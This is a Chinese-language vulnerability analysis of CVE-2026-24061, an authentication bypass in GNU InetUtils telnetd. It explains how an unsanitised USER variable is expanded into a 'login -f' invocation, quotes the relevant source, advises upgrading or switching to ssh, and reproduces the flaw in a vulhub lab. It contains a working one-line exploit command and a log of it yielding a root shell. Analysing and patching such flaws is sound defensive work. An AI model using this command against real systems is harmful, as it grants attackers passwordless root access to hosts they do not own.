GNU InetUtils telnetd 参数注入认证绕过漏洞
____ _ _____ ____ ___ ____ __ ____ _ _ ___ __ _
/ ___| \ / / ____| |___ \ / _ \___ \ / /_ |___ \| || | / _ \ / /_ / |
| | \ \ / /| _| _____ __) | | | |__) | '_ \ _____ __) | || |_| | | | '_ \| |
| |___ \ V / | |__|_____| / __/| |_| / __/| (_) |_____/ __/|__ _| |_| | (_) | |
\____| \_/ |_____| |_____|\___/_____|\___/ |_____| |_| \___/ \___/|_|
一、漏洞概况
1. 影响范围
1.9.3 <= GNU InetUtils telnetd <= 2.7
2. 漏洞 POC
# Linux 客户端(需要 -a 选项)
USER="-f root" telnet -a 127.0.0.1 2323
# macOS 客户端(不需要 -a 选项)
USER="-f root" telnet 127.0.0.1 2323
3. 原理分析
3.1. 利用过程

3.2.关键代码
代码仓库:https://codeberg.org/inetutils/inetutils/src/commit/fa3245ac8c288b87139a0da8249d0a408c4dfb87/telnetd
telnetd.c:
char * login_invocation =
#ifdef SOLARIS10
/* TODO: `-s telnet' or `-s ktelnet'.
* `-u' takes the Kerberos principal name
* of the authenticating, remote user.
*/
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
/* At least for SunOS 5.8. */
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
utility.c:
char * expand_line(const char * line) {
char * p = NULL;
struct line_expander exp;
exp.state = EXP_STATE_CONTINUE;
exp.level = 0;
exp.source = (char * ) line;
exp.cp = (char * ) line;
obstack_init( & exp.stk);
_expand_block( & exp);
if (exp.state == EXP_STATE_SUCCESS)
p = xstrdup(obstack_finish( & exp.stk));
else {
syslog(LOG_ERR, "can't expand line: %s", line);
syslog(LOG_ERR, "stopped near %s", exp.cp ? exp.cp : "(END)");
}
obstack_free( & exp.stk, NULL);
return p;
}
void _expand_block(struct line_expander * exp) {
int level = exp -> level;
if ( * exp -> cp == '{') {
exp -> level++;
exp -> cp++; /*FIXME? */
}
while (exp -> state == EXP_STATE_CONTINUE) {
for (;* exp -> cp && * exp -> cp != '%'; exp -> cp++) {
switch ( * exp -> cp) {
case '{':
exp -> level++;
break;
case '}':
exp -> level--;
if (exp -> level == level) {
exp -> cp++;
return;
}
break;
case '\\':
exp -> cp++;
break;
}
obstack_1grow( & exp -> stk, * exp -> cp);
}
if ( * exp -> cp == 0) {
obstack_1grow( & exp -> stk, 0);
exp -> state = EXP_STATE_SUCCESS;
break;
} else if ( * exp -> cp == '%' && exp -> cp[1] == '%') {
obstack_1grow( & exp -> stk, * exp -> cp);
exp -> cp += 2;
continue;
}
_expand_cond(exp);
}
}
void _expand_cond(struct line_expander * exp) {
char * p;
if ( * ++exp -> cp == '?') {
/* condition */
exp -> cp++;
p = _expand_var(exp);
if (p) {
_expand_block(exp);
_skip_block(exp);
} else {
_skip_block(exp);
_expand_block(exp);
}
free(p);
} else {
p = _expand_var(exp);
if (p)
obstack_grow( & exp -> stk, p, strlen(p));
free(p);
}
}
char * _expand_var(struct line_expander * exp) {
char * p;
switch ( * exp -> cp) {
case '{':
/* Collect variable name */
for (p = ++exp -> cp;* exp -> cp && * exp -> cp != '}'; exp -> cp++)
;
if ( * exp -> cp == 0) {
exp -> cp = p;
exp -> state = EXP_STATE_ERROR;
break;
}
p = _var_long_name(exp, p, exp -> cp - p);
exp -> cp++;
break;
default:
p = _var_short_name(exp);
break;
}
return p;
}
char * _var_short_name(struct line_expander * exp) {
char * q;
char timebuf[64];
time_t t;
switch ( * exp -> cp++) {
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup("ok");
#endif
return NULL;
case 'd':
time( & t);
strftime(timebuf, sizeof(timebuf),
"%l:%M%P on %A, %d %B %Y", localtime( & t));
return xstrdup(timebuf);
case 'h':
return xstrdup(remote_hostname);
case 'l':
return xstrdup(local_hostname);
case 'L':
return xstrdup(line);
case 't':
q = strchr(line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup(q);
case 'T':
return terminaltype ? xstrdup(terminaltype) : NULL;
case 'u':
return user_name ? xstrdup(user_name) : NULL;
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
default:
exp -> state = EXP_STATE_ERROR;
return NULL;
}
}
4. 修复建议
- 将 GNU InetUtils telnetd 升级到 2.7 以上版本
- 使用 ssh 代替 telnetd
二、漏洞复现
1. 环境准备
vulhub:https://github.com/vulhub/vulhub/blob/master/inetutils/CVE-2026-24061/README.zh-cn.md
docker compose up -d
2. 复现流程
正常使用 telnet 连接目标主机:需要输入用户名和密码
hailo@HAILO-LAPTOP:~$ telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Linux 6.6.87.2-microsoft-standard-WSL2 (898dcfa6184e) (pts/0)
898dcfa6184e login:
通过构造的 POC 使用 telnet 连接目标主机:直接以 root 身份进行登录
hailo@HAILO-LAPTOP:~$ USER="-f root" telnet -a 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Linux 6.6.87.2-microsoft-standard-WSL2 (898dcfa6184e) (pts/0)
Linux 898dcfa6184e 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan 25 11:47:29 UTC 2026 from 172.19.0.1 on pts/0
root@898dcfa6184e:~#
参考文章:
https://github.com/vulhub/vulhub/blob/master/inetutils/CVE-2026-24061/README.zh-cn.md
https://avd.aliyun.com/detail?id=AVD-2026-24061
https://www.openwall.com/lists/oss-security/2026/01/20/2

